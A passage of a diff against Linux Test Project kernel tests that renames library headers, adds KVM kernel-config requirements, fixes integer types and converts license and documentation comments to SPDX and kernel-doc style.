"tso_safe_macros.h" char *TCID = "diotest01"; /* Test program identifier. */ int TST_TOTAL = 1; /* Total number of test conditions */ diff --git a/ltp/testcases/kernel/io/direct_io/diotest4.c b/ltp/testcases/kernel/io/direct_io/diotest4.c index ad00fa3e..3f37a8a4 100644 --- a/ltp/testcases/kernel/io/direct_io/diotest4.c +++ b/ltp/testcases/kernel/io/direct_io/diotest4.c @@ -68,7 +68,7 @@ #include "diotest_routines.h" #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/mmap.h" char *TCID = "diotest4"; /* Test program identifier. */ diff --git a/ltp/testcases/kernel/io/direct_io/dma_thread_diotest.c b/ltp/testcases/kernel/io/direct_io/dma_thread_diotest.c index c317eba8..82fab12d 100644 --- a/ltp/testcases/kernel/io/direct_io/dma_thread_diotest.c +++ b/ltp/testcases/kernel/io/direct_io/dma_thread_diotest.c @@ -103,7 +103,7 @@ #include <sys/mount.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define FILESIZE (12*1024*1024) #define READSIZE (1024*1024) @@ -389,8 +389,7 @@ static void setup(void) /* * verify whether the current directory has enough free space, - * if it is not satisfied, we will use the LTP_BIG_DEV, which - * will be exported by runltp with "-z" option. + * if it is not satisfied, we will use the LTP_BIG_DEV. */ if (!directflag || !tst_fs_has_free(NULL, ".", 1300, TST_MB)) { device = getenv("LTP_BIG_DEV"); diff --git a/ltp/testcases/kernel/io/ltp-aiodio/dio_read.c b/ltp/testcases/kernel/io/ltp-aiodio/dio_read.c index 1c913cc2..8d1b8adf 100644 --- a/ltp/testcases/kernel/io/ltp-aiodio/dio_read.c +++ b/ltp/testcases/kernel/io/ltp-aiodio/dio_read.c @@ -66,20 +66,20 @@ static int do_direct_reads(char *filename, char *bufptr, long long fsize, long l fd = SAFE_OPEN(filename, O_RDONLY | O_DIRECT, 0666); while (1) { - for (offset = 0; offset + rsize < fsize; offset += rsize) { - char *bufoff; + if (*children_completed >= numchildren) { + tst_res(TINFO, + "Writers finshed, exiting reader (iteration %i)", + iter); + goto exit; + } - if (*children_completed >= numchildren) { - tst_res(TINFO, - "Writers finshed, exiting reader (iteration %i)", - iter); - goto exit; - } + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Test out of runtime, exiting"); + goto exit; + } - if (!tst_remaining_runtime()) { - tst_res(TINFO, "Test out of runtime, exiting"); - goto exit; - } + for (offset = 0; offset + rsize < fsize; offset += rsize) { + char *bufoff; w = pread(fd, bufptr, rsize, offset); if (w < 0) diff --git a/ltp/testcases/kernel/ipc/pipeio/pipeio.c b/ltp/testcases/kernel/ipc/pipeio/pipeio.c index ab5c2cf0..9a7d3c61 100644 --- a/ltp/testcases/kernel/ipc/pipeio/pipeio.c +++ b/ltp/testcases/kernel/ipc/pipeio/pipeio.c @@ -48,10 +48,10 @@ #include <signal.h> #include <sys/stat.h> -#include "tlibio.h" +#include "tso_lio.h" #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/sem.h" char *TCID = "pipeio"; diff --git a/ltp/testcases/kernel/kvm/kvm_pagefault01.c b/ltp/testcases/kernel/kvm/kvm_pagefault01.c index db526cb7..090d8a6a 100644 --- a/ltp/testcases/kernel/kvm/kvm_pagefault01.c +++ b/ltp/testcases/kernel/kvm/kvm_pagefault01.c @@ -165,6 +165,10 @@ static struct tst_test test = { .setup = setup, .cleanup = tst_kvm_cleanup, .needs_root = 1, + .needs_kconfigs = (const char *const []) { + "CONFIG_KVM", + NULL + }, .supported_archs = (const char *const []) { "x86_64", NULL diff --git a/ltp/testcases/kernel/kvm/kvm_svm01.c b/ltp/testcases/kernel/kvm/kvm_svm01.c index 32d15526..b295c18b 100644 --- a/ltp/testcases/kernel/kvm/kvm_svm01.c +++ b/ltp/testcases/kernel/kvm/kvm_svm01.c @@ -108,6 +108,10 @@ static struct tst_test test = { .test_all = tst_kvm_run, .setup = tst_kvm_setup, .cleanup = tst_kvm_cleanup, + .needs_kconfigs = (const char *const []) { + "CONFIG_KVM", + NULL + }, .supported_archs = (const char *const []) { "x86_64", "x86", diff --git a/ltp/testcases/kernel/kvm/kvm_svm02.c b/ltp/testcases/kernel/kvm/kvm_svm02.c index 6914fdcb..0c1b239c 100644 --- a/ltp/testcases/kernel/kvm/kvm_svm02.c +++ b/ltp/testcases/kernel/kvm/kvm_svm02.c @@ -129,6 +129,10 @@ static struct tst_test test = { .test_all = tst_kvm_run, .setup = tst_kvm_setup, .cleanup = tst_kvm_cleanup, + .needs_kconfigs = (const char *const []) { + "CONFIG_KVM", + NULL + }, .supported_archs = (const char *const []) { "x86_64", "x86", diff --git a/ltp/testcases/kernel/kvm/kvm_svm03.c b/ltp/testcases/kernel/kvm/kvm_svm03.c index 87164d01..dba1ab9e 100644 --- a/ltp/testcases/kernel/kvm/kvm_svm03.c +++ b/ltp/testcases/kernel/kvm/kvm_svm03.c @@ -154,6 +154,10 @@ static struct tst_test test = { .test_all = run, .setup = setup, .cleanup = cleanup, + .needs_kconfigs = (const char *const []) { + "CONFIG_KVM", + NULL + }, .min_cpus = 2, .supported_archs = (const char *const []) { "x86_64", diff --git a/ltp/testcases/kernel/kvm/kvm_svm04.c b/ltp/testcases/kernel/kvm/kvm_svm04.c index 75fcbfdc..4a6e7381 100644 --- a/ltp/testcases/kernel/kvm/kvm_svm04.c +++ b/ltp/testcases/kernel/kvm/kvm_svm04.c @@ -295,6 +295,10 @@ static struct tst_test test = { .test_all = tst_kvm_run, .setup = tst_kvm_setup, .cleanup = tst_kvm_cleanup, + .needs_kconfigs = (const char *const []) { + "CONFIG_KVM", + NULL + }, .supported_archs = (const char *const []) { "x86_64", "x86", diff --git a/ltp/testcases/kernel/kvm/kvm_vmx01.c b/ltp/testcases/kernel/kvm/kvm_vmx01.c index 5bffbe94..9950e1bc 100644 --- a/ltp/testcases/kernel/kvm/kvm_vmx01.c +++ b/ltp/testcases/kernel/kvm/kvm_vmx01.c @@ -269,6 +269,10 @@ static struct tst_test test = { .setup = setup, .cleanup = tst_kvm_cleanup, .needs_root = 1, + .needs_kconfigs = (const char *const []) { + "CONFIG_KVM", + NULL + }, .supported_archs = (const char *const []) { "x86_64", "x86", diff --git a/ltp/testcases/kernel/kvm/kvm_vmx02.c b/ltp/testcases/kernel/kvm/kvm_vmx02.c index 3fcfebb3..5152ad8f 100644 --- a/ltp/testcases/kernel/kvm/kvm_vmx02.c +++ b/ltp/testcases/kernel/kvm/kvm_vmx02.c @@ -183,6 +183,10 @@ static struct tst_test test = { .setup = setup, .cleanup = tst_kvm_cleanup, .needs_root = 1, + .needs_kconfigs = (const char *const []) { + "CONFIG_KVM", + NULL + }, .supported_archs = (const char *const []) { "x86_64", "x86", diff --git a/ltp/testcases/kernel/lib/numa_helper.c b/ltp/testcases/kernel/lib/numa_helper.c index 2eee8d35..129e75f4 100644 --- a/ltp/testcases/kernel/lib/numa_helper.c +++ b/ltp/testcases/kernel/lib/numa_helper.c @@ -32,7 +32,7 @@ #include <errno.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "numa_helper.h" #include "lapi/syscalls.h" diff --git a/ltp/testcases/kernel/mem/cpuset/cpuset02.c b/ltp/testcases/kernel/mem/cpuset/cpuset02.c index ccfddd6a..d67dcbf6 100644 --- a/ltp/testcases/kernel/mem/cpuset/cpuset02.c +++ b/ltp/testcases/kernel/mem/cpuset/cpuset02.c @@ -18,13 +18,13 @@ #ifdef HAVE_NUMA_V2 #include <numaif.h> -#include "tst_numa.h" +#include "tse_numa.h" #define MNTPOINT "hugetlbfs/" #define HUGE_PAGE_FILE MNTPOINT "hugepagefile" static long hpage_size; -static struct tst_nodemap *node; +static struct tse_nodemap *node; static int check_node_id; static struct tst_cg_group *cg_cpuset_0; @@ -88,7 +88,7 @@ static void run_test(void) static void setup(void) { - node = tst_get_nodemap(TST_NUMA_MEM, getpagesize() / 1024); + node = tse_get_nodemap(TST_NUMA_MEM, getpagesize() / 1024); if (node->cnt <= 1) tst_brk(TCONF, "test requires at least 2 NUMA memory nodes"); diff --git a/ltp/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c b/ltp/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c index 1dde9e87..f2984e2d 100644 --- a/ltp/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c +++ b/ltp/testcases/kernel/mem/hugetlb/hugemmap/hugemmap15.c @@ -46,7 +46,11 @@ static void cacheflush(void *p) #if defined(__powerpc__) asm volatile("dcbst 0,%0; sync; icbi 0,%0; isync" : : "r"(p)); #elif defined(__arm__) || defined(__aarch64__) || defined(__riscv) || defined(__loongarch__) +# ifdef HAVE_CLEAR_CACHE __clear_cache(p, p + COPY_SIZE); +# else + tst_brk(TCONF, "compiler doesn't have __clear_cache()"); +# endif #else (void)p; #endif diff --git a/ltp/testcases/kernel/mem/hugetlb/hugemmap/hugemmap34.c b/ltp/testcases/kernel/mem/hugetlb/hugemmap/hugemmap34.c index bf2b3564..ab7469cd 100644 --- a/ltp/testcases/kernel/mem/hugetlb/hugemmap/hugemmap34.c +++ b/ltp/testcases/kernel/mem/hugetlb/hugemmap/hugemmap34.c @@ -21,6 +21,7 @@ #define _GNU_SOURCE #include "lapi/mmap.h" #include "hugetlb.h" +#include "tst_safe_stdio.h" #include <errno.h> #include <inttypes.h> #include <sched.h> @@ -80,12 +81,9 @@ static void run_test(void) } /* Return start address of next mapping or 0 */ -static uintptr_t get_next_mapping_start(uintptr_t addr) +static uintptr_t get_next_mapping_start(uintptr_t addr) { - FILE *fp = fopen("/proc/self/maps", "r"); - - if (fp == NULL) - tst_brk(TBROK | TERRNO, "Failed to open /proc/self/maps."); + FILE *fp = SAFE_FOPEN("/proc/self/maps", "r"); while (!feof(fp)) { uintptr_t start, end; @@ -94,7 +92,7 @@ static uintptr_t get_next_mapping_start(uintptr_t addr) ret = fscanf(fp, "%"PRIxPTR"-%"PRIxPTR" %*[^\n]\n", &start, &end); if (ret != 2) { fclose(fp); - tst_brk(TBROK | TERRNO, "Couldn't parse /proc/self/maps line."); + tst_brk(TBROK | TERRNO, "Couldn't parse /proc/self/maps line"); } if (start > addr) { diff --git a/ltp/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c b/ltp/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c index 3b2ae351..eb8663f2 100644 --- a/ltp/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c +++ b/ltp/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c @@ -39,7 +39,7 @@ void setup(void) hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024; } -void shm_test(int size) +void shm_test(size_t size) { int shmid; char *shmaddr; @@ -56,7 +56,7 @@ void shm_test(int size) } shmaddr[0] = 1; - tst_res(TINFO, "allocated %d huge bytes", size); + tst_res(TINFO, "allocated %zu huge bytes", size); if (shmdt((const void *)shmaddr) != 0) { shmctl(shmid, IPC_RMID, NULL); @@ -70,7 +70,7 @@ static void test_hugeshmat(void) { unsigned int i; - const int tst_sizes[] = { + const size_t tst_sizes[] = { N * hpage_size - page_size, N * hpage_size - page_size - 1, hpage_size, diff --git a/ltp/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c b/ltp/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c index d3f71112..82126f52 100644 --- a/ltp/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c +++ b/ltp/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c @@ -143,5 +143,5 @@ static struct tst_test test = { }, .setup = setup, .cleanup = cleanup, - .hugepages = {128, TST_REQUEST}, + .hugepages = {2, TST_NEEDS}, }; diff --git a/ltp/testcases/kernel/mem/hugetlb/lib/hugetlb.c b/ltp/testcases/kernel/mem/hugetlb/lib/hugetlb.c index 6a2976a5..92b484d4 100644 --- a/ltp/testcases/kernel/mem/hugetlb/lib/hugetlb.c +++ b/ltp/testcases/kernel/mem/hugetlb/lib/hugetlb.c @@ -1,34 +1,7 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/* - * NAME - * hugetlb.c - * - * DESCRIPTION - * common routines for the hugepage tests. - * - * The library contains the following routines: - * - * getipckey() - * getuserid() - * rm_shm() + * Copyright (c) Linux Test Project, 2006-2025 + * Copyright (c) International Business Machines Corp., 2001 */ #define TST_NO_DEFAULT_MAIN @@ -54,9 +27,7 @@ int getipckey(void) key_t ipc_key; struct timeval time_info; - curdir = getcwd(curdir, size); - if (curdir == NULL) - tst_brk(TBROK | TERRNO, "getcwd(curdir)"); + curdir = SAFE_GETCWD(curdir, size); /* * Get a Sys V IPC key @@ -87,10 +58,7 @@ int getuserid(char *user) { struct passwd *ent; - ent = getpwnam(user); - if (ent == NULL) - tst_brk(TBROK | TERRNO, "getpwnam"); - + ent = SAFE_GETPWNAM(user); return ent->pw_uid; } diff --git a/ltp/testcases/kernel/mem/hugetlb/lib/hugetlb.h b/ltp/testcases/kernel/mem/hugetlb/lib/hugetlb.h index 22975c99..fa742eb8 100644 --- a/ltp/testcases/kernel/mem/hugetlb/lib/hugetlb.h +++ b/ltp/testcases/kernel/mem/hugetlb/lib/hugetlb.h @@ -1,7 +1,8 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * - * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 2004-2025 + * Copyright (c) International Business Machines Corp., 2001 */ /* diff --git a/ltp/testcases/kernel/mem/ksm/ksm01.c b/ltp/testcases/kernel/mem/ksm/ksm01.c index a22e4830..be03f943 100644 --- a/ltp/testcases/kernel/mem/ksm/ksm01.c +++ b/ltp/testcases/kernel/mem/ksm/ksm01.c @@ -1,16 +1,9 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) 2010-2017 Red Hat, Inc. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * + */ + +/*\ * Kernel Samepage Merging (KSM) * * Basic tests were to start several programs with same and different @@ -22,13 +15,14 @@ * number of processes have same memory contents so it is possible to * test more advanced things like KSM + OOM etc. * - * Prerequisites: + * [Prerequisites] + * + * ksm and ksmtuned daemons need to be disabled. Otherwise, it could + * distrub the testing as they also change some ksm tunables depends + * on current workloads. * - * 1) ksm and ksmtuned daemons need to be disabled. Otherwise, it could - * distrub the testing as they also change some ksm tunables depends - * on current workloads. + * [Algorithm] * - * The test steps are: * - Check ksm feature and backup current run setting. * - Change run setting to 1 - merging. * - 3 memory allocation programs have the memory contents that 2 of diff --git a/ltp/testcases/kernel/mem/ksm/ksm02.c b/ltp/testcases/kernel/mem/ksm/ksm02.c index ab16af29..147e7e83 100644 --- a/ltp/testcases/kernel/mem/ksm/ksm02.c +++ b/ltp/testcases/kernel/mem/ksm/ksm02.c @@ -1,16 +1,9 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) 2010-2017 Red Hat, Inc. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * + */ + +/*\ * Kernel Samepage Merging (KSM) * * Basic tests were to start several programs with same and different @@ -22,13 +15,16 @@ * number of processes have same memory contents so it is possible to * test more advanced things like KSM + OOM etc. * - * Prerequisites: + * Test uses cpusets cgroups. + * + * [Prerequisites] + * + * ksm and ksmtuned daemons need to be disabled. Otherwise, it could + * distrub the testing as they also change some ksm tunables depends + * on current workloads. * - * 1) ksm and ksmtuned daemons need to be disabled. Otherwise, it could - * distrub the testing as they also change some ksm tunables depends - * on current workloads. + * [Algorithm] * - * The test steps are: * - Check ksm feature and backup current run setting. * - Change run setting to 1 - merging. * - 3 memory allocation programs have the memory contents that 2 of diff --git a/ltp/testcases/kernel/mem/ksm/ksm03.c b/ltp/testcases/kernel/mem/ksm/ksm03.c index 78844b30..34a086ae 100644 --- a/ltp/testcases/kernel/mem/ksm/ksm03.c +++ b/ltp/testcases/kernel/mem/ksm/ksm03.c @@ -1,16 +1,9 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) 2010-2017 Red Hat, Inc. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * + */ + +/*\ * Kernel Samepage Merging (KSM) for Memory Resource Controller * * Basic tests were to start several programs with same and different @@ -22,13 +15,16 @@ * number of processes have same memory contents so it is possible to * test more advanced things like KSM + OOM etc. * - * Prerequisites: + * Test uses memory cgroups. + * + * [Prerequisites] + * + * ksm and ksmtuned daemons need to be disabled. Otherwise, it could + * distrub the testing as they also change some ksm tunables depends + * on current workloads. * - * 1) ksm and ksmtuned daemons need to be disabled. Otherwise, it could - * distrub the testing as they also change some ksm tunables depends - * on current workloads. + * [Algorithm] * - * The test steps are: * - Check ksm feature and backup current run setting. * - Change run setting to 1 - merging. * - 3 memory allocation programs have the memory contents that 2 of diff --git a/ltp/testcases/kernel/mem/ksm/ksm04.c b/ltp/testcases/kernel/mem/ksm/ksm04.c index 26506b4f..a9a06be4 100644 --- a/ltp/testcases/kernel/mem/ksm/ksm04.c +++ b/ltp/testcases/kernel/mem/ksm/ksm04.c @@ -4,7 +4,7 @@ */ /*\ - * Prerequisites: + * [Prerequisites] * * ksm and ksmtuned daemons need to be disabled. Otherwise, it could * distrub the testing as they also change some ksm tunables depends diff --git a/ltp/testcases/kernel/mem/ksm/ksm05.c b/ltp/testcases/kernel/mem/ksm/ksm05.c index 025dffc0..96ffad51 100644 --- a/ltp/testcases/kernel/mem/ksm/ksm05.c +++ b/ltp/testcases/kernel/mem/ksm/ksm05.c @@ -1,37 +1,43 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) 2011-2017 Red Hat, Inc. - * + */ + +/*\ * KSM - NULL pointer dereference in ksm_do_scan() (CVE-2011-2183) * - * This is a testcase from upstream commit: - * 2b472611a32a72f4a118c069c2d62a1a3f087afd. + * Based on a test from kernel commit from v3.0 + * 2b472611a32a7 ("ksm: fix NULL pointer dereference in scan_get_next_rmap_item()") + * + * An exiting task can race against ksmd::scan_get_next_rmap_item + * easily triggering a NULL pointer dereference in ksmd. + * + * https://lore.kernel.org/lkml/20110601222032.GA2858@thinkpad/ + * + * .. code-block:: c * - * an exiting task can race against ksmd::scan_get_next_rmap_item - * (http://lkml.org/lkml/2011/6/1/742) easily triggering a NULL pointer - * dereference in ksmd. - * ksm_scan.mm_slot == &ksm_mm_head with only one registered mm + * ksm_scan.mm_slot == &ksm_mm_head with only one registered mm * - * CPU 1 (__ksm_exit) CPU 2 (scan_get_next_rmap_item) - * list_empty() is false - * lock slot == &ksm_mm_head - * list_del(slot->mm_list) - * (list now empty) - * unlock - * lock - * slot = list_entry(slot->mm_list.next) - * (list is empty, so slot is still ksm_mm_head) - * unlock - * slot->mm == NULL ... Oops + * CPU 1 (__ksm_exit) CPU 2 (scan_get_next_rmap_item) + * list_empty() is false + * lock slot == &ksm_mm_head + * list_del(slot->mm_list) + * (list now empty) + * unlock + * lock + * slot = list_entry(slot->mm_list.next) + * (list is empty, so slot is still ksm_mm_head) + * unlock + * slot->mm == NULL ... Oops * * Close this race by revalidating that the new slot is not simply the list * head again. * - * Test Prerequisites: + * [Prerequisites] * - * *) ksm and ksmtuned daemons need to be disabled. Otherwise, it could - * distrub the testing as they also change some ksm tunables depends - * on current workloads. + * ksm and ksmtuned daemons need to be disabled. Otherwise, it could + * distrub the testing as they also change some ksm tunables depends + * on current workloads. */ #include <sys/wait.h> diff --git a/ltp/testcases/kernel/mem/ksm/ksm06.c b/ltp/testcases/kernel/mem/ksm/ksm06.c index a8e73275..22371ea5 100644 --- a/ltp/testcases/kernel/mem/ksm/ksm06.c +++ b/ltp/testcases/kernel/mem/ksm/ksm06.c @@ -10,13 +10,8 @@ * node are merged, otherwise pages from all nodes can be merged * together. * - * Introduced in commit: - * - * commit 90bd6fd31c8097ee4ddcb74b7e08363134863de5 - * Author: Petr Holasek <pholasek@redhat.com> - * Date: Fri Feb 22 16:35:00 2013 -0800 - * - * ksm: allow trees per NUMA node + * Introduced in kernel v3.9 commit: + * 90bd6fd31c809 ("ksm: allow trees per NUMA node") */ #include "config.h" @@ -32,7 +27,7 @@ #include <limits.h> #include "tst_test.h" -#include "tst_numa.h" +#include "tse_numa.h" #include "ksm_helper.h" #include "ksm_test.h" @@ -44,7 +39,7 @@ static unsigned long nr_pages = 100; static char *n_opt; static size_t page_size; -static struct tst_nodemap *nodes; +static struct tse_nodemap *nodes; static void test_ksm(void) { @@ -124,7 +119,7 @@ static void setup(void) page_size = getpagesize(); - nodes = tst_get_nodemap(TST_NUMA_MEM, nr_pages * page_size / 1024); + nodes = tse_get_nodemap(TST_NUMA_MEM, nr_pages * page_size / 1024); if (nodes->cnt <= 1) tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); } diff --git a/ltp/testcases/kernel/mem/oom/oom.h b/ltp/testcases/kernel/mem/oom/oom.h index 41cc681f..42ed181b 100644 --- a/ltp/testcases/kernel/mem/oom/oom.h +++ b/ltp/testcases/kernel/mem/oom/oom.h @@ -62,13 +62,14 @@ static inline void set_global_mempolicy(int mempolicy) static void set_global_mempolicy(int mempolicy LTP_ATTRIBUTE_UNUSED) { } #endif -static int alloc_mem(long int length, int testcase) +static int alloc_mem(size_t length, int testcase) { char *s; - long i, pagesz = getpagesize(); + size_t i; + long pagesz = getpagesize(); int loop = 10; - tst_res(TINFO, "thread (%lx), allocating %ld bytes.", + tst_res(TINFO, "thread (%lx), allocating %zu bytes.", (unsigned long) pthread_self(), length); s = mmap(NULL, length, PROT_READ | PROT_WRITE, @@ -111,7 +112,7 @@ static void child_alloc(int testcase, int lite, int threads) pthread_t *th; if (lite) { - int ret = alloc_mem(TESTMEM * 2 + TST_MB, testcase); + int ret = alloc_mem((size_t)TESTMEM * 2 + TST_MB, testcase); exit(ret); } diff --git a/ltp/testcases/kernel/mem/shmt/shmt02.c b/ltp/testcases/kernel/mem/shmt/shmt02.c index de1d0b0c..f6c29b6d 100644 --- a/ltp/testcases/kernel/mem/shmt/shmt02.c +++ b/ltp/testcases/kernel/mem/shmt/shmt02.c @@ -15,7 +15,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" #include "tst_rand_data.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define SHMSIZE 16 diff --git a/ltp/testcases/kernel/mem/shmt/shmt03.c b/ltp/testcases/kernel/mem/shmt/shmt03.c index 63f5a7b4..fe6bacb8 100644 --- a/ltp/testcases/kernel/mem/shmt/shmt03.c +++ b/ltp/testcases/kernel/mem/shmt/shmt03.c @@ -16,7 +16,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" #include "tst_rand_data.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define SHMSIZE 16 diff --git a/ltp/testcases/kernel/mem/shmt/shmt04.c b/ltp/testcases/kernel/mem/shmt/shmt04.c index c07b1ef9..2a20d956 100644 --- a/ltp/testcases/kernel/mem/shmt/shmt04.c +++ b/ltp/testcases/kernel/mem/shmt/shmt04.c @@ -18,7 +18,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" #include "tst_rand_data.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define SHMSIZE 16 diff --git a/ltp/testcases/kernel/mem/shmt/shmt05.c b/ltp/testcases/kernel/mem/shmt/shmt05.c index e8b5d9eb..a3812080 100644 --- a/ltp/testcases/kernel/mem/shmt/shmt05.c +++ b/ltp/testcases/kernel/mem/shmt/shmt05.c @@ -14,7 +14,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include <sys/shm.h> #define SHMSIZE 16 diff --git a/ltp/testcases/kernel/mem/shmt/shmt07.c b/ltp/testcases/kernel/mem/shmt/shmt07.c index 962479e7..a729cf21 100644 --- a/ltp/testcases/kernel/mem/shmt/shmt07.c +++ b/ltp/testcases/kernel/mem/shmt/shmt07.c @@ -16,7 +16,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" #include "tst_rand_data.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define SHMSIZE 16 diff --git a/ltp/testcases/kernel/mem/shmt/shmt08.c b/ltp/testcases/kernel/mem/shmt/shmt08.c index 9fb2f6b2..3a7a50d7 100644 --- a/ltp/testcases/kernel/mem/shmt/shmt08.c +++ b/ltp/testcases/kernel/mem/shmt/shmt08.c @@ -14,7 +14,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define SHMSIZE 16 diff --git a/ltp/testcases/kernel/mem/shmt/shmt09.c b/ltp/testcases/kernel/mem/shmt/shmt09.c index fb40498e..70030771 100644 --- a/ltp/testcases/kernel/mem/shmt/shmt09.c +++ b/ltp/testcases/kernel/mem/shmt/shmt09.c @@ -19,7 +19,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "tst_test_macros.h" #define SHMSIZE 16 diff --git a/ltp/testcases/kernel/mem/shmt/shmt10.c b/ltp/testcases/kernel/mem/shmt/shmt10.c index 2bd48b6b..5876e6bf 100644 --- a/ltp/testcases/kernel/mem/shmt/shmt10.c +++ b/ltp/testcases/kernel/mem/shmt/shmt10.c @@ -16,7 +16,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define SHMSIZE 0x32768 diff --git a/ltp/testcases/kernel/mem/tunable/max_map_count.c b/ltp/testcases/kernel/mem/tunable/max_map_count.c index 71a7bbee..429b9c81 100644 --- a/ltp/testcases/kernel/mem/tunable/max_map_count.c +++ b/ltp/testcases/kernel/mem/tunable/max_map_count.c @@ -1,43 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2012-2025 * Copyright (C) 2012-2017 Red Hat, Inc. + */ + +/*\ + * Test ``/proc/sys/vm/max_map_count`` tunable file. * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * Description: - * - * The program is designed to test max_map_count tunable file + * :kernel_doc:`admin-guide/sysctl/vm` claims: * - * The kernel Documentation say that: - * /proc/sys/vm/max_map_count contains the maximum number of memory map - * areas a process may have. Memory map areas are used as a side-effect - * of calling malloc, directly by mmap and mprotect, and also when - * loading shared libraries. + * /proc/sys/vm/max_map_count contains the maximum number of memory map + * areas a process may have. Memory map areas are used as a side-effect + * of calling malloc, directly by mmap and mprotect, and also when + * loading shared libraries. * * Each process has his own maps file: /proc/[pid]/maps, and each line * indicates a map entry, so it can caculate the amount of maps by reading * the file lines' number to check the tunable performance. * - * The program tries to invoke mmap() endlessly until it triggers MAP_FAILED, - * then reads the process's maps file /proc/[pid]/maps, save the line number to - * map_count variable, and compare it with /proc/sys/vm/max_map_count, - * map_count should be greater than max_map_count by 1; + * The program tries to invoke :manpage:`mmap(2)` endlessly until it triggers + * ``MAP_FAILED``, then reads the process's maps file /proc/[pid]/maps, save + * the line number to map_count variable, and compare it with + * ``/proc/sys/vm/max_map_count``, map_count should be greater than + * max_map_count by 1. * - * Note: On some architectures there is a special vma VSYSCALL, which + * NOTE: On some architectures there is a special vma VSYSCALL, which * is allocated without incrementing mm->map_count variable. On these * architectures each /proc/<pid>/maps has at the end: - * ... - * ... - * ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] * - * so we ignore this line during /proc/[pid]/maps reading. + * :: + * + * ... + * ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] + * + * Therefore this line is ignored during /proc/[pid]/maps reading. + * + * [References] + * + * - :kernel_doc:`admin-guide/sysctl/vm` */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/mem/tunable/min_free_kbytes.c b/ltp/testcases/kernel/mem/tunable/min_free_kbytes.c index 68caf1b0..a62e4ae9 100644 --- a/ltp/testcases/kernel/mem/tunable/min_free_kbytes.c +++ b/ltp/testcases/kernel/mem/tunable/min_free_kbytes.c @@ -1,31 +1,27 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* + * 